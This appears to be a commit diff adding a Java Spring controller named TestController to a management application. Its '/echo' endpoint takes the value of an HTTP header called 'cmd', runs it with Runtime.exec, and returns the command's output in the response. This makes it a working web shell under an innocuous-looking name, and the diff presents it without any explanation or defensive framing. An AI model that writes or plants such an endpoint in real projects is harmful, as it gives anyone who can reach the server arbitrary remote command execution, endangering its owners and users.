|
| 1 | +package com.management.controller; |
| 2 | + |
| 3 | +import com.management.bean.User; |
| 4 | +import org.springframework.stereotype.Controller; |
| 5 | +import org.springframework.web.bind.annotation.RequestMapping; |
| 6 | +import org.springframework.web.bind.annotation.RequestMethod; |
| 7 | +import org.springframework.web.bind.annotation.ResponseBody; |
| 8 | +import org.springframework.web.context.request.RequestAttributes; |
| 9 | +import org.springframework.web.context.request.RequestContextHolder; |
| 10 | +import org.springframework.web.context.request.ServletRequestAttributes; |
| 11 | +import javax.servlet.http.HttpServletRequest; |
| 12 | +import javax.servlet.http.HttpServletResponse; |
| 13 | +import java.io.*; |
| 14 | + |
| 15 | +@Controller |
| 16 | +public class TestController { |
| 17 | + |
| 18 | + |
| 19 | + @ResponseBody |
| 20 | + @RequestMapping(value="/echo", method = RequestMethod.GET) |
| 21 | + public User Test() throws IOException { |
| 22 | + |
| 23 | + RequestAttributes requestAttributes = RequestContextHolder.getRequestAttributes(); |
| 24 | + HttpServletRequest httprequest = ((ServletRequestAttributes) requestAttributes).getRequest(); |
| 25 | + HttpServletResponse httpresponse = ((ServletRequestAttributes) requestAttributes).getResponse(); |
| 26 | + |
| 27 | + String cmd = httprequest.getHeader("cmd"); |
| 28 | + InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); |
| 29 | + InputStreamReader isr = new InputStreamReader(in); |
| 30 | + BufferedReader br = new BufferedReader(isr); |
| 31 | + |
| 32 | + StringBuilder sb = new StringBuilder(); |
| 33 | + String line; |
| 34 | + while((line = br.readLine()) != null){ |
| 35 | + sb.append(line + "\n"); |
| 36 | + } |
| 37 | + |
| 38 | + br.close(); |
| 39 | + isr.close(); |
| 40 | + in.close(); |
| 41 | + |
| 42 | + httpresponse.getWriter().println(sb.toString()); |
| 43 | + |
| 44 | + return new User(); |
| 45 | + } |
| 46 | +} |
0 commit comments